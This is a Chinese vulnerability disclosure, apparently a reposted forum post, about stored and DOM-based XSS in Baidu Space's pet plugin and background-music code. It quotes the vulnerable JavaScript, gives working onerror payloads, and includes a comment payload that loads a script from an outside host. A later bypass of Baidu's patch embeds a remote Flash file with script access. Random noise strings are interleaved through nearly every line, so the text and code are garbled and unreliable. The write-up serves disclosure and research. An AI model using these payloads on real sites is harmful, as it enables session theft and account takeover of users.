百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 8 e6 {8 H6 ~# i5 q% f6 a$ i
+ Q# }- z) l6 c0 A S2 N7 u/ o) \/ S
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. # j5 {/ h/ X# o3 o% t) c
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
7 H% j# C6 h0 Y! s" \( p; t8 D6 k; s* [# F
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 4 t: Q% m! d& G9 T& V
其中BdUtil.insertWBR为
* V( h" a2 r0 V/ G) |0 w# {: kfunction(text, step) { 5 g$ |' k/ f3 a4 ?/ Q3 F/ {/ M
var textarea = textAreaCache || getContainer();
9 {, V% |# O0 S7 F9 s if (!textarea) {
( A! T% ]; Z/ {$ u2 @: e7 e2 K return text; 0 u. q" L5 j* U
}
; x8 k0 `4 `" b3 [. C textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
% J9 q }) n- a, G, @7 t var string = textarea.value;
: b7 e5 ^& }' `$ Z* [' i var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
i; [5 ]+ ~ l+ A: Q var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
1 J% j4 T$ ~/ C( p0 q return result;
; d9 p2 _2 D" n0 p7 W}
% q8 K: T- I. I在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. + l1 A" S6 b5 X; I. L- @8 v' ^( c
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
. l( L7 A- Y# D5 h" R
! G& U: x( L* E# S二:creatbgmusic() Dom-Xss Bug ! R; b- T L" E/ @
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 , k8 j% Q/ w9 o7 |
1 A' K9 v* R5 Y% k在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: T" q9 L/ L- b+ H8 O$ j3 ?
2 p# |4 w+ e( a, C" |; }function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
1 C7 |8 a7 g8 N$ H7 @' w //传入的murl赋值到bgmusic1和bgmusic2中
* U# X8 t" g5 v0 K7 z6 l# I- E //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
# U- t" D. v. M7 o0 t8 l6 [4 P0 H7 i W8 O var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; ; h7 ?0 F* J9 r) C+ s
if (musicnum <= 1) { ) [; E" z6 Q; G
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
! a: V* E* {4 f' R }
$ @. r; A- ^9 J; }" z q- Q bgmusic1 += "</OBJECT>";
4 r) d, P, B$ R4 K' \ i |4 A var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 2 L: J/ P" V. @+ z
if (musicnum <= 1) { 2 ?3 a3 D% w( S6 \8 ^( C: Y
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; % Q s" y* o5 B6 ^$ P; g8 y# r
}
. i- ~ H0 U0 \' q bgmusic2 += "> </EMBED>"; + a9 b7 d# t; u* e! ]/ d
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
3 T: a5 U& A3 D! t- r var bgmus = detectWMP();
: q5 f8 p" [; E1 k if (functype == "FckMusicHelper") {
[" g/ c; M& R4 r if (bgmus.installed) { " n7 w" ^% S' L. |( n$ F* ?
if (bgmus.type == "IE") {
$ i+ ?& o6 y. \ return bgmusic1; 6 x. k6 p9 k# [# b5 Z, z: x
} else if (bgmus.type == "NS") { 3 \3 }. [0 d: H, ^1 V! w
return bgmusic2;
1 {3 _* ^- I% }7 ?- W( ~2 H( t, a$ ^ O } 1 B* o0 i' n9 J4 o
} else {
/ B* Z# q. f1 a5 y A1 G! @/ E return bgmusic3;
; o' c: E0 ]& l' Q0 _3 _ } 0 s: C6 H7 @, N" A2 e
} else {
( p/ s. @' c/ ^8 V& I if (bgmus.installed) {
7 m; B, A/ ?6 }9 }9 \/ [ //document.write 直接输出bgmusic变量 导致xss
. c6 P/ g S% n+ t: D$ c4 H if (bgmus.type == "IE") {
9 W$ e6 N: A, X! c& {" I4 _+ V0 E document.write(bgmusic1); 9 [$ u: F% U: O; S( i
} else if (bgmus.type == "NS") {
; C! H# F- H7 U0 C1 [! \# M8 L' k' B document.write(bgmusic2); % i# O7 k, d: C2 j: L
} 6 Z# n: d: c% `* s: Y
} else { % y& _3 M; U2 W
document.write(bgmusic3); ' \4 W4 H# `3 o1 f* `
} ! F0 w. q) V a4 O, m `# T
return "";
% Q5 w5 @) a' E) b7 w } & y, u/ ~* j6 p
} 3 `$ L A* [2 t
, ~; F. L/ ^* A7 \" ^& P. v在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: ) |6 C, V9 G8 j# A# p- D6 s
% p& O4 z3 o" D5 B. pfunction initBlogTextForFCK(){
' b; _: P- Q- V//fck init music
( x# @, z! I+ b; W0 _if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 1 B6 c9 s% N: Q4 Q. d
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
3 m! C$ i" n8 I7 f. o p' m. pvar isAutoPlay=true;
4 C& W8 l5 T' `% D/ Jfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
( \! C* F/ i$ M3 D3 f5 B" ]5 j( L var img=imgBox; % m2 H, m9 Y3 G T2 I$ q
if(img.getAttribute(’rel’)){ 4 Y; a4 q. d4 e; p k! P
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
( q' T: C3 o. I4 q var musicDiv = document.createElement("SPAN");
4 H, b( U! }4 J) D) | var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
6 o- x, N' z: A+ g* G: Q" E6 P" p2 c% o 6 C; d K1 S. p, g- [/ x4 A5 x
.......................... ( f* J% `# y0 [ ~4 r1 p7 d& J
# }* F9 K' }7 G: U& B6 @ //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
5 P4 Q3 ]$ @2 v C' j var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); % e# R, @7 A' J! I; O
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 7 |4 Z& j$ |2 } T6 {+ s
musicDiv.innerHTML=shtml; # I6 a, J6 t6 i# X( X3 F
i--;n--;
0 ]6 d+ ]! t+ g' o$ k: c/ B( d: k( y }
, M: J- Y8 G7 x; w. o$ h, q} 2 E$ z. {+ C( Q
- u1 n) Y' D, O
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
$ F1 V1 n( U6 `) T1 F% M) _) e2 o
4 m+ B! `' e9 p, f. T! G) u测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> $ v6 ^+ `& M! m$ P, R2 s- ^ {! Y
* f }) m3 ^* ~! O% x2 ?6 s
等待官方补丁 ( z$ O$ k0 l( s7 c3 \
% V; L }+ T. Zupdate 2010年5月13日
% u' j6 W3 D Y. a0 L4 \5 a( p* y4 b9 i0 w. ?7 s; B
官方补丁:
6 L' r* S3 D0 T2 P9 O' T h( f/ h- `* |& n; `" O. {
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); " U6 `& ]. Q; y
改为:
1 J- j; g0 }# D. nvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); ( V4 a2 w" a* s$ R( L Z2 Q L
5 j, x+ o4 ?* }( |8 {. b: T3 @update 2010年5月13日 21:50:37
8 ^3 Q: l. Y4 c- e1 x- {+ K' i3 P. Q- H+ {
补丁存在漏洞 没有过滤" 可以继续跨:
( B) M" ?6 Y' x) f+ l+ O+ M7 J) {* S( I' x6 R4 f0 v3 w
NEW POC: 7 o) ~3 t [' z' |) E8 y
5 v: A9 M5 l; A: |1 v/ R7 ^<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" : e1 Y# L& h% \" a/ n, }
h5 D, ^% p$ k' f' @, ], Z, \5 `allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
0 l( r5 n# b7 e. E0 s/ s8 y4 j8 t
5 N+ u8 @+ q, i5 g+ @) L+ P |